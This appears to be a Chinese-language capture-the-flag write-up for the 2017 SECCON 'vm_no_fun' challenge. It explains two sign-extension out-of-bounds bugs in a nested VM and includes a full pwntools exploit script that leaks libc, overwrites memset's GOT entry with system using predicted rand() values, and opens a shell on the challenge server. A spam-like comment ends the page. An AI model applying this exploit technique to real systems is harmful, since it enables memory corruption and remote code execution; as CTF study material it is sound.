2017 SECCON CTF vm_no_fun writeup 发表于 2017-12-19 | 分类于 漏洞利用 | 1 条评论 第二个VM中当opcode为0x20时的代码如下 ```c if ( v30 == 0x20 ) { if ( (unsigned int)(16 * vm_regs_2[1]) + (signed __int64)vm_regs_2[9] > 0xFFFF ) raise(11); if ( dword_addr ) *(_DWORD *)dword_addr = *(_DWORD *)&vm2_input[(int)vm_regs_2[9] + (unsigned __int64)(unsigned int)(16 * vm_regs_2[1])]; else raise(4); vm_regs_2[9] += 4; goto LABEL_108; } ``` 其中`vm_regs_2[9]`是stack_top_offset,`vm_regs_2[1]`是stack_base,相应的汇编指令如下 ``` .text:0000555555556701 lea rax, vm_regs_2 .text:0000555555556708 mov eax, [rax+4] .text:000055555555670B shl eax, 4 .text:000055555555670E mov edx, eax .text:0000555555556710 lea rax, vm_regs_2 .text:0000555555556717 mov eax, [rax+24h] .text:000055555555671A cdqe .text:000055555555671C add rdx, rax .text:000055555555671F lea rax, vm2_input .text:0000555555556726 add rax, rdx .text:0000555555556729 mov edx, [rax] .text:000055555555672B mov rax, [rbp+dword_addr] .text:000055555555672F mov [rax], edx ``` 可以看到stack_top_offset的值从`eax`有符号扩展到`rax`,而且上面检查边界时也是如此,因此当stack_top_offset是负值时就会产生一个越界的读漏洞,以此来泄露`got`表上的libc地址。 第三个VM中当opcode为0x15时的代码如下 ```c case 0x15: if ( 16 * vm_regs_3[4] + vm_regs_3[11] < 0 || 16 * vm_regs_3[4] + vm_regs_3[11] > 0xFFFF ) raise(11); v13 = 16 * vm_regs_3[3] + vm_regs_3[11]; vm_input3[v13] = rand(); break; ``` 这里有个很奇怪的地方,检查边界是`vm_regs_3[4]`和`vm_regs_3[11]`,但之后的操作却是`vm_regs_3[3]`和`vm_regs_3[11]`,再看汇编指令 ``` .text:0000555555555A9B lea rax, vm_regs_3 .text:0000555555555AA2 movzx eax, word ptr [rax+6] .text:0000555555555AA6 movzx eax, ax .text:0000555555555AA9 shl eax, 4 .text:0000555555555AAC mov edx, eax .text:0000555555555AAE lea rax, vm_regs_3 .text:0000555555555AB5 movzx eax, word ptr [rax+16h] .text:0000555555555AB9 cwde .text:0000555555555ABA lea ebx, [rdx+rax] .text:0000555555555ABD call _rand .text:0000555555555AC2 mov ecx, eax .text:0000555555555AC4 lea rdx, vm_input3 .text:0000555555555ACB movsxd rax, ebx .text:0000555555555ACE mov [rdx+rax], cl ``` `vm_regs_3[11]`的值是从`ax`有符号扩展到`eax`的,因此当`vm_regs_3[11]`为一个负数时就会产生一个越界的写漏洞。写入的值是由`rand`产生的,但固定了随机数种子`srand(0x31337)`,因此可以预测需要调用`rand`多少次才能产生指定的值,可以用VM里的指令写个循环结构来实现。最后就是泄露libc地址,改`got`表上的`memset`函数为`system`,再执行第二个VM中opcode为0xC0的指令getshell。 ```python from pwn import * from ctypes import cdll LOCAL = 0 DEBUG = 0 VERBOSE = 0 if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./inception', aslr=True) libc = ELF('./libc-2.23.so') if DEBUG: gdb.attach(io) else: io = remote('vm_no_fun.pwn.seccon.jp', 30203) libc = ELF('./libc-2.23.so') libc_so = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') libc_so.srand(0x31337) io.recvuntil('Z\n') io.send('\x01') io.recvuntil('A\n') payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600) payload += '\x0c' + '\x00' + '\xF4' + '\x00' io.send(p32(len(payload)) + payload) payload = '\x28' + p32(9) + '\x20' + p32(0xfffeff20) + '\x21' payload += '\x28' + p32(1) + '\x20' + p32(0) + '\x21' payload += '\x20' + p32(0x3000) + '\x22' + p32(0) + '\x00' payload += '\x28' + p32(9) + '\x20' + p32(0xfffeff24) + '\x21' payload += '\x20' + p32(0x3004) + '\x22' + p32(0) + '\x00' payload += '\x28' + p32(11) + '\x20' + p32(8) + '\x21' payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00' payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00' io.send(p32(len(payload)) + payload) io.recvuntil('Z\n') io.send('\x02') io.recvuntil('B\n') io.recvuntil('Z\n') io.send('\x04') io.recvuntil('Z\n') io.send('\x01') io.recvuntil('A\n') payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x800) payload += '\x89' + '\x02' + '\x20' + p16(0) + '\x21' + p16(0x8) payload += '\x0B' + '\x00' + '\xF4' + '\x00' io.send(p32(len(payload)) + payload) puts_addr = u64(io.recvn(8)) libc_addr = puts_addr - libc.symbols['puts'] system_addr = libc_addr + libc.symbols['system'] log.info('puts_addr:%#x' % puts_addr) log.info('libc_addr:%#x' % libc_addr) log.info('system_addr:%#x' % system_addr) def write(address, value, size): load = '' for i in range(size): load += '\x28' + p32(address + i) + '\x42' + p32(ord(value[i])) + '\x41' return load offset = 0xff78 rand_list = [None] * 256 count = 0 while True: rand = libc_so.rand() & 0xff if rand_list[rand] is None: rand_list[rand] = count if None not in rand_list: break count += 1 print rand_list count_list = [] for i in range(6): count_list.append(rand_list[(system_addr >> (8 * i)) & 0xff]) count_list.sort() print count_list rand_count = 0 for i in range(6): io.recvuntil('Z\n') io.send('\x04') io.recvuntil('Z\n') io.send('\x05') io.recvuntil('Z\n') io.send('\x06') io.recvuntil('Z\n') io.send('\x01') payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600) payload += '\x0c' + '\x00' + '\xF4' + '\x00' io.send(p32(len(payload)) + payload) bytecodes = '\x01\x65' + p16(3) + p16(0x0) bytecodes += '\x01\x67' + p16(0x4000) + p16(0) temp_count = count_list[i] bytecodes += '\x0E\x67' + p16(0x4000) + p16(temp_count - rand_count) rand_count = temp_count bytecodes += '\x12\x67' + p16(0x4000) + p16(20) bytecodes += '\x01\x65' + p16(11) + p16(offset+8) bytecodes += '\x15\x00' bytecodes += '\x02\x67' + p16(0x4000) + p16(1) bytecodes += '\x14\x67' + p16(0x4000) + p16((1<<16) - 32) bytecodes += '\x01\x65' + p16(11) + p16(offset + p64(system_addr)[0:6].find(chr(rand_list.index(temp_count)))) rand_count += 1 bytecodes += '\x15\x00' bytecodes += '\x0b\x00' payload = write(0x3000, bytecodes, len(bytecodes)) payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00' payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00' io.send(p32(len(payload)) + payload) io.recvuntil('Z\n') io.send('\x02') io.recvuntil('B\n') io.recvuntil('Z\n') io.send('\x03') io.recvuntil('C\n') io.recvuntil('Z\n') io.send('\x04') io.recvuntil('Z\n') io.send('\x05') io.recvuntil('Z\n') io.send('\x06') io.recvuntil('Z\n') io.send('\x01') payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600) payload += '\x0c' + '\x00' + '\xF4' + '\x00' io.send(p32(len(payload)) + payload) payload = '\x28' + p32(10) + '\x20' + p32(0) + '\x21' payload += '\x28' + p32(2) + '\x20' + p32(0x21) + '\x21' payload += '\xc0' + p32(0) + '\x00' + p32(0) + '\x00' payload += '/bin/sh\x00' io.send(p32(len(payload)) + payload) io.recvuntil('Z\n') io.send('\x02') io.recvuntil('B\n') io.interactive() ```
Wow all kinds of terrific tips!